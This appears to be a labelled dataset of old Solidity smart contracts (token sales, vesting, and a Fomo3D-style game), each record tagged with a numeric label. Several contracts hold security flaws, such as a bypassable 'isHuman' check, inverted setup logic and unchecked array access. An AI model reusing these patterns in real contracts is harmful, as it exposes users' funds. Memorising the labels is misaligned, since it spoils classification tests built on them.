uint256 tokens = weiAmount.mul(tokensPerEther).div(factor);
require(issuedTokens.add(tokens) <= cap);
weiRaised = weiRaised.add(weiAmount);
issuedTokens = issuedTokens.add(tokens);
forwardFunds();
issueToken(beneficiary,tokens);
TokenPurchase(msg.sender, beneficiary, msg.value, tokens);
}
function issueToken(address beneficiary, uint256 tokens) internal {
balances[owner] = balances[owner].sub(tokens);
balances[beneficiary] = balances[beneficiary].add(tokens);
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal constant returns (bool) {
uint256 current = block.number;
bool withinPeriod = current >= startBlock && current <= endBlock;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase && isCrowdSaleRunning;
}
function hasEnded() public constant returns (bool) {
return (block.number > endBlock) && isCrowdSaleRunning;
}
} | 1 | 4,163 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ALXERC20 is Ownable {
using SafeMath for uint256;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) internal allowed;
mapping (address => mapping (uint256 => timeHold)) internal requestWithdraws;
struct timeHold{
uint256[] amount;
uint256[] time;
uint256 length;
}
function requestOfAmount(address addr, uint256 n) public view returns(uint256){
return requestWithdraws[addr][n].amount[0];
}
function requestOfTime(address addr, uint256 n) public view returns(uint256){
return requestWithdraws[addr][n].time[0];
}
uint256 public roundCounter=0;
string public constant standard = "ERC20 ALX";
uint8 public constant decimals = 8;
uint256 public totalSupply;
string public name;
string public symbol;
uint256 public transactionFee = 1;
uint256 public icoEnd=0;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function setTransactionFee(uint256 _value) public onlyOwner{
transactionFee=_value;
}
function setIcoEnd(uint256 _value) public onlyOwner{
icoEnd=_value;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(block.timestamp>icoEnd);
balances[msg.sender] = balances[msg.sender].sub(_value);
uint256 fee=(_value*transactionFee)/1000;
delete requestWithdraws[msg.sender][roundCounter];
balances[_to] = balances[_to].add(_value-fee);
balances[owner]=balances[owner].add(fee);
emit Transfer(msg.sender, _to, _value-fee);
emit Transfer(msg.sender, owner, fee);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(block.timestamp>icoEnd);
balances[_from] = balances[_from].sub(_value);
uint256 fee=(_value*transactionFee)/1000;
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
delete requestWithdraws[msg.sender][roundCounter];
delete requestWithdraws[_from][roundCounter];
balances[_to] = balances[_to].add(_value-fee);
balances[owner]=balances[owner].add(fee);
emit Transfer(_from, _to, _value-fee);
emit Transfer(_from, owner, fee);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
}
interface tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external ;
}
contract ALX is ALXERC20 {
uint256 public tokenPrice = 30000000000000000;
uint256 public tokenAmount=0;
uint256 public tokenUnit = uint256(10)**decimals;
uint256 public holdTime;
uint256 public holdMax;
uint256 public maxSupply;
event LogDeposit(address sender, uint amount);
uint256 public withdrawFee = 1;
constructor (
uint256 initialSupply,
string contractName,
string tokenSymbol,
uint256 contractHoldTime,
uint256 contractHoldMax,
address contractOwner
) public {
totalSupply = initialSupply;
name = contractName;
symbol = tokenSymbol;
holdTime=contractHoldTime;
holdMax=contractHoldMax;
owner=contractOwner;
balances[contractOwner]= balances[contractOwner].add(totalSupply);
}
function () public payable {
buy();
}
function deposit() external payable onlyOwner returns(bool success) {
emit LogDeposit(msg.sender, msg.value);
return true;
}
function setWithdrawFee(uint256 _value) public onlyOwner{
withdrawFee=_value;
}
function withdrawReward() external {
uint i = 0;
uint256 ethAmount = 0;
uint256 tokenM=0;
if (block.timestamp - requestWithdraws[msg.sender][roundCounter].time[i] > holdTime && block.timestamp - requestWithdraws[msg.sender][roundCounter].time[i] < holdMax){
ethAmount += tokenPrice * requestWithdraws[msg.sender][roundCounter].amount[i];
tokenM +=requestWithdraws[msg.sender][roundCounter].amount[i];
}
ethAmount=ethAmount/tokenUnit;
require(ethAmount > 0);
emit LogWithdrawal(msg.sender, ethAmount);
totalSupply = totalSupply.sub(tokenM);
delete requestWithdraws[msg.sender][roundCounter];
uint256 fee=ethAmount*withdrawFee/1000;
balances[msg.sender] = balances[msg.sender].sub(tokenM);
msg.sender.transfer(ethAmount-fee);
owner.transfer(fee);
}
function withdraw(uint256 amount) public onlyOwner{
msg.sender.transfer(amount);
}
function setPrice(uint256 _value) public onlyOwner{
tokenPrice=_value;
roundCounter++;
}
event LogWithdrawal(address receiver, uint amount);
function requestWithdraw(uint256 value) public {
require(value <= balances[msg.sender]);
delete requestWithdraws[msg.sender][roundCounter];
requestWithdraws[msg.sender][roundCounter].amount.push(value);
requestWithdraws[msg.sender][roundCounter].time.push(block.timestamp);
requestWithdraws[msg.sender][roundCounter].length++;
}
uint256 public minPrice=250000000000000000;
function setMinPrice(uint256 value) public onlyOwner{
minPrice=value;
}
function buy() public payable {
require(msg.value>=minPrice);
tokenAmount = (msg.value * tokenUnit) / tokenPrice ;
transferBuy(msg.sender, tokenAmount);
owner.transfer(msg.value);
}
function transferBuy(address _to, uint256 _value) internal returns (bool) {
require(_to != address(0));
totalSupply = totalSupply.add(_value);
uint256 teamAmount=_value*100/1000;
totalSupply = totalSupply.add(teamAmount);
balances[_to] = balances[_to].add(_value);
balances[owner] = balances[owner].add(teamAmount);
emit Transfer(this, _to, _value);
emit Transfer(this, owner, teamAmount);
return true;
}
} | 0 | 660 |
pragma solidity ^0.4.7;
contract SYCEarlyPurchase {
string public constant PURCHASE_AMOUNT_UNIT = 'ETH';
uint public constant WEI_MINIMUM_PURCHASE = 40 * 10 ** 18;
uint public constant WEI_MAXIMUM_EARLYPURCHASE = 7000 * 10 ** 18;
address public owner;
EarlyPurchase[] public earlyPurchases;
uint public earlyPurchaseClosedAt;
uint public totalEarlyPurchaseRaised;
address public sycCrowdsale;
struct EarlyPurchase {
address purchaser;
uint amount;
uint purchasedAt;
}
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
modifier onlyEarlyPurchaseTerm() {
if (earlyPurchaseClosedAt > 0) {
throw;
}
_;
}
function SYCEarlyPurchase() {
owner = msg.sender;
}
function purchasedAmountBy(address purchaser)
external
constant
returns (uint amount)
{
for (uint i; i < earlyPurchases.length; i++) {
if (earlyPurchases[i].purchaser == purchaser) {
amount += earlyPurchases[i].amount;
}
}
}
function setup(address _sycCrowdsale)
external
onlyOwner
returns (bool)
{
if (address(_sycCrowdsale) == 0) {
sycCrowdsale = _sycCrowdsale;
return true;
}
return false;
}
function numberOfEarlyPurchases()
external
constant
returns (uint)
{
return earlyPurchases.length;
}
function appendEarlyPurchase(address purchaser, uint amount, uint purchasedAt)
internal
onlyEarlyPurchaseTerm
returns (bool)
{
if (purchasedAt == 0 || purchasedAt > now) {
throw;
}
if(totalEarlyPurchaseRaised + amount >= WEI_MAXIMUM_EARLYPURCHASE){
purchaser.send(totalEarlyPurchaseRaised + amount - WEI_MAXIMUM_EARLYPURCHASE);
earlyPurchases.push(EarlyPurchase(purchaser, WEI_MAXIMUM_EARLYPURCHASE - totalEarlyPurchaseRaised, purchasedAt));
totalEarlyPurchaseRaised += WEI_MAXIMUM_EARLYPURCHASE - totalEarlyPurchaseRaised;
}
else{
earlyPurchases.push(EarlyPurchase(purchaser, amount, purchasedAt));
totalEarlyPurchaseRaised += amount;
}
if(totalEarlyPurchaseRaised >= WEI_MAXIMUM_EARLYPURCHASE){
earlyPurchaseClosedAt = now;
}
return true;
}
function closeEarlyPurchase()
onlyOwner
returns (bool)
{
earlyPurchaseClosedAt = now;
}
function withdraw(uint withdrawalAmount) onlyOwner {
if(!owner.send(withdrawalAmount)) throw;
}
function withdrawAll() onlyOwner {
if(!owner.send(this.balance)) throw;
}
function transferOwnership(address newOwner) onlyOwner {
owner = newOwner;
}
function () payable{
require(msg.value >= WEI_MINIMUM_PURCHASE);
appendEarlyPurchase(msg.sender, msg.value, block.timestamp);
}
} | 0 | 1,614 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
constructor(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable
)
public
{
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
function release(ERC20Basic token) public {
uint256 unreleased = releasableAmount(token);
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
emit Released(unreleased);
}
function revoke(ERC20Basic token) public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount(token);
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(owner, refund);
emit Revoked();
}
function releasableAmount(ERC20Basic token) public view returns (uint256) {
return vestedAmount(token).sub(released[token]);
}
function vestedAmount(ERC20Basic token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (block.timestamp < cliff) {
return 0;
} else if (block.timestamp >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
return totalBalance.mul(block.timestamp.sub(start)).div(duration);
}
}
}
contract SolidVesting is TokenVesting {
constructor(address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable)
public
TokenVesting(_beneficiary, _start, _cliff, _duration, _revocable)
{
}
function changeBeneficiary(address newBeneficiary) public onlyOwner {
beneficiary = newBeneficiary;
}
} | 0 | 741 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract F3DSHORT is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x004f29f33530cfa4a9f10e1a83ca4063ce96df7140);
address private admin = msg.sender;
string constant public name = "F3DSHORT";
string constant public symbol = "F3DSHORT";
uint256 private rndExtra_ = 10 minutes;
uint256 private rndGap_ = 10 minutes;
uint256 constant private rndInit_ = 10 minutes;
uint256 constant private rndInc_ = 10 seconds;
uint256 constant private rndMax_ = 20 minutes;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(22,6);
fees_[1] = F3Ddatasets.TeamFee(38,0);
fees_[2] = F3Ddatasets.TeamFee(52,10);
fees_[3] = F3Ddatasets.TeamFee(68,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
